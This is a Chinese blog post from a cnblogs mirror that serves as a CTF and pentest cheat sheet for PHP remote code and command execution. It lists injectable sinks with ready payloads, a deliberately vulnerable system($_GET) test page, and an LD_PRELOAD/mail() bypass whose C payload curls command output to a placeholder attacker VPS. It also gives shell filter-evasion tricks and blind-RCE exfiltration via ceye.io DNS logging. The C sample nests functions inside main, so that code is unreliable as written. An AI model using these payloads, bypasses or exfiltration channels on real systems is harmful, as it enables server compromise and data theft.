zoukankan      html  css  js  c++  java
  • PHP代码执行

    执行代码的几种方式

    ${}执行代码

    <?php
        ${phpinfo()};
    ?>

    eval()执行代码

    <?php
        eval('echo 2;');
    ?>

    assert()

    //?a=phpinfo()
    <?php 
        assert($_POST['a']);
    ?>

    assert函数支持动态调用

    //?a=phpinfo()
    <?php
        $a = 'assert';
        $a($_POST['a']);
    ?>

    php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

    preg_replace()

    preg_replace 执行一个正则表达式的搜索和替换。执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

    $a = 'phpinfo()';
    $b = preg_replace("/abc/e",$b,'abcd');

    create_function()

    该函数用来创建匿名函数。

    <?php
    //02-8.php?id=2;}phpinfo();/*
    $id=$_GET['id'];
    $str2='echo  '.$a.'test'.$id.";";
    echo $str2;
    echo "<br/>";
    echo "==============================";
    echo "<br/>";
    $f1 = create_function('$a',$str2);
    echo "<br/>";
    echo "==============================";
    ?>

    array_map()

    漏洞演示:

    //?a=assert&b=phpinfo();
    $a = $_GET['a'];
    $b = $_GET['b'];
    $array[0] = $b;
    $c = array_map($a,$array);

    call_user_func()/call_user_func_array()

    // ?a=phpinfo();
    call_user_func(assert,$_GET['a']);
    //?a=phpinfo();
    $array[0] = $_GET['a'];
    
    call_user_func_array("assert",$array);

    array_filter()

    $array[0] = $_GET['a'];
    array_filter($array,'assert');

    usort()

    详情看这里:http://www.am0s.com/functions/97.html

    常用的命令执行函数

    system()

    ➜ ~ php -r "system('whoami');"
    silkage

    eval()

    • eval()会把字符串按照php代码来执行(合法的php代码,以分号结尾)

    • eval()是一个语言构造器,不能被可变函数调用

    $a = $_POST['cmd1'];
    eval($a);

    passthru()

    调用shell命令,把命令的执行结果输出到标准输出设备上

    ➜ ~ php -r "passthru('whoami');"
    silkage

    exec()

    不输出结果,返回shell命令执行结果的最后一行

    ➜ ~ php -r "echo exec('whoami');"
    silkage

    pcntl_exec() ——–

    shell_exec()

    不输出结果,返回shell命令执行的所有结果

    ➜ ~ php -r "echo shell_exec('whoami');"
    silkage

    popen()

    proc_open()

    `反引号

    加了反引号的字符串将尝试作为外壳命令来执行,并将奇输出信息返回。

    ➜ ~ php -r "echo @`whoami`;"
    silkage

    ob_start()

    bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

    此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(除http标头外),相反需要输出的内容被存储在内部缓冲区中。 内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中。 想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数。另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容。

     使用

    <?php
        ob_start("system");
        echo "whoami";
        ob_end_flush();
    ?>
    //输出www-data

    mail函数+LD_PRELOAD执行系统命令

    思路

    LD_PRELOAD可以用来设置程序运行前优先加载的动态链接库,php函数mail在实现的过程中会调用标准库函数,通过上传一个编译好的动态链接程序(这个程序中重新定义了一个mail函数会调用的库函数,并且重新定义的库函数中包含执行系统命令的代码。),再通过LD_PRELOAD来设置优先加载我们的上传的动态链接程序,从而实现命令执行。

    利用

    a.c

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h> 
    int main(){
    
    void payload() {
    system("curl http://vps_IP:4123/?a=`whoami`");
    } 
    int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
    }
    }

    编译

    gcc -c -fPIC a.c -o a 
    
    gcc -shared a -o a.so

    mail.php

    <?php
    putenv("LD_PRELOAD=/var/www/html/a.so");
    mail("a@localhost","","","","");
    ?>

    监听vps的4123端口,访问mail.php。

    ctf中的绕过tips:

    空格的绕过:

    1.< 重定向,如 cat<flag.php
    2.<> 重定向,如 cat<>flag.php
    3.%09 需要php环境,如cat%09flag.php
    4.${IFS} 单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
    5.$IFS$9 后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
    6.在Linux bash中还可以使用{cat,/flag.txt}来绕过

    字符串的绕过:

    1.变量控制(字符串拼接): a=l;b=s;$a$b
    2.编码绕过:
      base64,并不是很好用,因为base64有时候会出现'/'字符
    3.单双引号:ca""t fl""ag.txt
    4.反斜杠:cat flag.txt
    5.通配符*?:cat fla?.txt *代表若干字符,?代表一个字符
    6.采用$@绕过: cat fl$@ag.txt
    7.利用已经存在的资源:

    echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    echo $PATH | cut -c 1
    /

    tips:ip转换成数字:http://www.msxindl.com/tools/ip/ip_num.asp

    无回显的RCE

    这里我用到了一个dnslog的利用平台:

    http://ceye.io/profile

    注册一个账号就可以得到唯一的 Identifier:xxxxxx.ceye.io

    各种漏洞的测试方法都在http://ceye.io/payloads里面有介绍,这里就不一一解释了。只测试一个简单的命令执行。

    记录在http request

    目标服务器test.php后端源码:

    <?php
        $a = $_GET['id'];
        system("$a");
    ?>

    攻击机:

    然后就可以看到ceye平台的http requests已经记录了请求

     成功回显了root

    记录在http query中 

    DNS在解析的时候是逐级解析的,并且会留下日志,所以可以将回显放在高级域名,这样在解析的时候就会将回显放在高级域名中,我们就可以在dns query中看到回显。 举个例子

    在注册ceye.io之后会分配一个三级域名。就是******.ceye.io。

    ping `whoami`.******.ceye.io

    上面这条命令最终在ping的时候ping的是“root.******.ceye.io”,root就是我们构造的恶意命令执行的结果,我们把它放在四级域名这里,这样在DNS解析的时候就会记录下root这个四级域名。然后可以在ceye平台上看到我们的dns解析日志。也就看到了命令执行的回显。(个人理解,如有错误,烦请指出。)

    所以这种方法的使用必须有ping命令。

    利用dnslog进行数据外带的原理请看我的另一篇文章:

    https://www.cnblogs.com/Silkage/p/13178032.html

  • 相关阅读:
    739. Daily Temperatures
    556. Next Greater Element III
    1078. Occurrences After Bigram
    1053. Previous Permutation With One Swap
    565. Array Nesting
    1052. Grumpy Bookstore Owner
    1051. Height Checker
    数据库入门及SQL基本语法
    ISCSI的概念
    配置一个IP SAN 存储服务器
  • 原文地址:https://www.cnblogs.com/Silkage/p/13167143.html
Copyright © 2011-2022 走看看